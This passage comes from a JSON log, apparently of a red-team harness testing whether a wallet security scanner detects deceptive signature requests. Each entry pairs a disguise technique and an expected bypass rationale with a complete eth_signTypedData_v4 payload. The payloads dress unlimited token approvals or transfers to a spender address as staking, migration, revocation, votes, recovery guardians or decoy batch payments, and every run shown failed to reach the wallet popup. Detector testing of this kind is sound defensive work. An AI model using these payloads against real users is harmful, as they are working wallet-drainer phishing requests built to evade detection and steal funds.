Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:56:21.241Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:56:30.802Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN37-EIP3009-022", "timestamp": "2026-01-31T17:56:40.360Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x8b81867de52feefa9ca1720b8b545060c425f2c771cf375a497c14fcad912ed3\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN37-EIP3009-054", "timestamp": "2026-01-31T17:56:49.915Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x92309d226dbeed7f33bcc8304451ff503c251e47ee97d628f652588117793cb7\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:56:59.476Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:57:09.026Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:57:18.571Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:57:28.123Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:57:37.676Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:57:47.237Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:57:56.789Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:58:06.344Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:58:15.901Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:58:25.463Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:58:35.013Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:58:44.577Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:58:54.121Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:59:03.667Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:59:13.215Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending 